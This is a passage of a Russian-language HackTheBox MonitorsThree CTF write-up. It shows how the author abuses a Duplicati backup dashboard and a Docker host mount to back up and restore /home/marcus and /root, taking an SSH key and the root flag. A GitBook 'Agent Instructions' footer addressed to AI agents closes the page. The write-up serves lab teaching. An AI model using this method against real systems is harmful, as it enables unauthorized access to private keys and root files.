1. Скопируйте и вставьте вычисленный пароль.
2. Используйте **Ctrl + U** чтобы URL-кодировать его.

<figure><img src="/files/d1cb8634a5f2dbbd791b221a169b3e6f3118793f" alt=""><figcaption></figcaption></figure>

3. Нажмите **Переслать** снова, чтобы завершить операцию.

### Чтение файлов из резервной копии Duplicati

<figure><img src="/files/25a2da9dc1c6b001a10824e97547667340942424" alt=""><figcaption></figcaption></figure>

Теперь, когда у нас есть доступ к **панели управления Duplicati**, мы создадим новую резервную копию с целью эксфильтрации **SSH** ключа.

<figure><img src="/files/9e72b25d979d54bba34cb96ddd665f6578d52e2f" alt=""><figcaption></figcaption></figure>

**Анализ конфигурации Docker**/ Наблюдая за `docker-compose.yml` файлом, мы обнаруживаем, что файлы хранятся в **источник** каталоге хост-системы, смонтированном в контейнере.

<figure><img src="/files/8c23a1541b424ae3f739c5000046b0a4da4c4ea8" alt="" width="541"><figcaption></figcaption></figure>

**Выбор целевого каталога**/ Чтобы обеспечить доступ к конфиденциальным файлам, мы задаём место назначения **backup** в этом каталоге, выбрав:

* **Исходный файл**: `/source/home/marcus/`

<figure><img src="/files/4be7942909497b7d4b8a98c9127ed69c9131a9ec" alt="" width="563"><figcaption></figcaption></figure>

* **Исходные данные:** `source/root/`

<figure><img src="/files/458f5f5918ec510f1cc3c8e0ff14da318e23f8b4" alt=""><figcaption></figcaption></figure>

**Завершение конфигурации**

* Сохранить конфигурацию.

<figure><img src="/files/e86dda371a5d9937c6dfd6aa1d059bda1253c494" alt=""><figcaption></figcaption></figure>

* Запустите **Сохранить** чтобы восстановить целевые файлы.

<figure><img src="/files/4355fd970b0519b8895a1ce5579bae106bd016fc" alt=""><figcaption></figcaption></figure>

### Извлечение сохранённых файлов

После выполнения **backup**, генерируются три ZIP-архива.

<div data-full-width="true"><figure><img src="/files/6cd14639d945ec4d9e6f495665067264d3dee2d1" alt=""><figcaption></figcaption></figure></div>

* **Доступ к файлам**
  * Попытка открыть файлы напрямую терпит неудачу из-за ограничений доступа.
  * Однако через **Duplicati**, мы используем **Восстановить файлы** опцию для восстановления содержимого.

<figure><img src="/files/ebc3f03cd92483492c14df100ee7b0e51bd0f487" alt=""><figcaption></figcaption></figure>

**Восстановление и эксфильтрация**

* Извлеките файлы из резервной копии.

<figure><img src="/files/a0d49e161543492611bce1ef88117f70bd84d99c" alt=""><figcaption></figcaption></figure>

Выбор папки **`/source/home/marcus/`** в качестве источника восстановления.

<figure><img src="/files/e4223aac55da4650bf3a868f970614f39d4bec3b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/55365b1e09f60cad4eba8119c87c463e5e613d1e" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root.txt :)

После восстановления мы изучаем файлы и обнаруживаем **`root.txt`**!

<figure><img src="/files/99a5d7b827471f61685dae287955a546da787fa3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a076b5d57e8e62eff1e89c1a6e1c485a768af43b" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
